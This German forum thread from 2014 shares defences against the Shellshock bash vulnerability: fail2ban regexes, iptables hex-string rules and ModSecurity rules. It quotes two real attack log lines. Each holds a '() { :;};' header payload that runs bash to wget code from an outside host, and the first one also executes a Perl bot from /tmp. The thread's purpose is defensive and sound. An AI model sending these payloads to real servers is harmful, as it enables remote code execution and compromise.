Seite 1 von 1

Shellshock

Verfasst: 29. Sep 2014, 09:02
von VBTECH
Fail2ban Filter (NGINX, APACHE usw.):
^<HOST> - - (?:\[[^]]*\] )+\"GET.*HTTP/1.1\".*(};|}\s;).*
^<HOST>.*\(\s*\)\s*\{[^"]*\}\s*\;[^"]+
(geprüft und funktioniert)

IP-Tables (https://access.redhat.com/articles/1212303)
# iptables -A INPUT -m string --algo bm --hex-string '|28 29 20 7B|' -j DROP
# ip6tables -A INPUT -m string --algo bm --hex-string '|28 29 20 7B|' -j DROP

Ergänzt um:
# iptables -A INPUT -m string --algo kmp --hex-string '|28 29 20 7B|' -j DROP
# ip6tables -A INPUT -m string --algo kmp --hex-string '|28 29 20 7B|' -j DROP

und bitte auch jeweils für Hex Strings so einrichten:
"Cookie: () {"
'|43 6F 6F 6B 69 65 3A 20 28 29 20 7B|'

"Host: () {"
'|48 6F 73 74 3A 20 28 29 20 7B|'

"Referer: () {"
'|52 65 66 65 72 65 72 3A 20 28 29 20 7B|'

": () {"
'|3A 20 28 29 20 7B|'

UND zusätzlich mit Platzhaltern, vor der fraglichen Zeichengruppe und danach, so dass alle gefiltert werden, welche den String auch nur irgendwo dazwischen haben.

ModSec:
https://access.redhat.com/articles/1212303
(geprüft und funktioniert)

# -- shellshock vulnerability (CVE-2014-6271 and CVE-2014-7169) von RedHat ----------------
SecRule REQUEST_HEADERS "^\(\s*\)\s+{" "phase:1,deny,id:1000000,t:urlDecode,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
SecRule REQUEST_LINE "^\(\s*\)\s+{" "phase:1,deny,id:1000001,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
SecRule ARGS_NAMES "^\(\s*\)\s+{" "phase:2,deny,id:1000002,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
SecRule ARGS "^\(\s*\)\s+{" "phase:2,deny,id:1000003,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
SecRule FILES_NAMES "^\(\s*\)\s+{" "phase:2,deny,id:1000004,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"

# -- shellshock [Owasp-modsecurity-core-rule-set] CVE-2014-6271 - BASH Vulnerability ----------------
SecRule REQUEST_HEADERS "^\(\) {" "phase:1,deny,id:1000000,t:urlDecode,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
SecRule REQUEST_LINE "\(\) {" "phase:1,deny,id:1000001,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
SecRule ARGS_NAMES "^\(\) {" "phase:2,deny,id:1000002,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
SecRule ARGS "^\(\) {" "phase:2,deny,id:1000003,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"
SecRule FILES_NAMES "^\(\) {" "phase:2,deny,id:1000004,t:urlDecode,t:urlDecodeUni,status:400,log,msg:'CVE-2014-6271 - Bash Attack'"



So was läuft dann ins Leere:
64.15.147.111 - - [DATE, TIME] "GET //cgi-bin/bash HTTP/1.0" 403 961 "-" "() { :;}; /bin/bash -c \x22wget h t t p : / / l e g e n d s o f t w a r e s . c o m / l e g e n d . t x t -O /tmp/.apache;killall -9 perl;perl /tmp/.apache;rm -rf /tmp/.apache\x22"

Was dann runtergeladen wird, habe ich entfernt, damits hier übersichtlicher wird;

ACHTUNG WARNUNG

Wer die Seite oben (h t t p : / / l e g e n d s o f t w a r e s . c o m / l e g e n d . t x t) ansurft oder ähnlich gestaltete Seite, die man auch im Log findet, wie z.b. h t t p : / / e l l r i c h . c o m / l e g e n d . t x t oder h t t p : / / e l l r i c h . c o m / holt sich

JS/Exploit-Blacole.eq (Trojaner)
Perl/Shellbot (Trojaner)

unter Umständen auf den Rechner (nur beim ersten Besuch; wenn ihr die IP wechselt, "klappt es" auch beim zweiten Besuch)

Also bitte nur besuchen, wenn man den Browser in einer Sandbox (z.B. http://www.sandboxie.com) oder anderen virtuellen Umgebung laufen hat, denn Virenscanner McA hat NICHT angeschlagen.

Gggf. sind die Einträge in den logs über die Shellschock auch nur dazu gedacht, um Admins auf die "verlinkten Seiten" zu locken und dann dort den eigentlichen Schadcode unterzuschieben.

Re: Shellshock

Verfasst: 29. Sep 2014, 09:23
von Martin
Hi,

danke dir, super Sache!

Aktuell hab ich es bei blocklist.de noch nicht drin, also wird nicht reported.
Ich bin die Woche auch noch unterwegs wie letzte Woche, wodurch ich es wahrscheinlich erst nächste Woche mit in die Beispiel-Configs und bei blocklist.de eintragen kann.

[EDIT]:
ist nun in den Beispiel-Config und in blocklist.de drin

Re: Shellshock

Verfasst: 29. Sep 2014, 09:29
von Martin
Gerade noch bei blocklist.de geschaut

Code: Alles auswählen

62.210.75.170 - - [29/Sep/2014:10:22:58 +0200] "GET / HTTP/1.1" 301 355 "() { :; }; /bin/bash -c '/usr/bin/wget http://creditstat.ru/YmxvY2tsaXN0LmRlU2hlbGxTaG9ja1NhbHQ= >> /dev/null'" "() { :; }; /bin/bash -c '/usr/bin/wget http://creditstat.ru/YmxvY2tsaXN0LmRlU2hlbGxTaG9ja1NhbHQ= >> /dev/null'"
der String bei creditstat.ru ergibt:

Code: Alles auswählen

blocklist.deShellShockSalt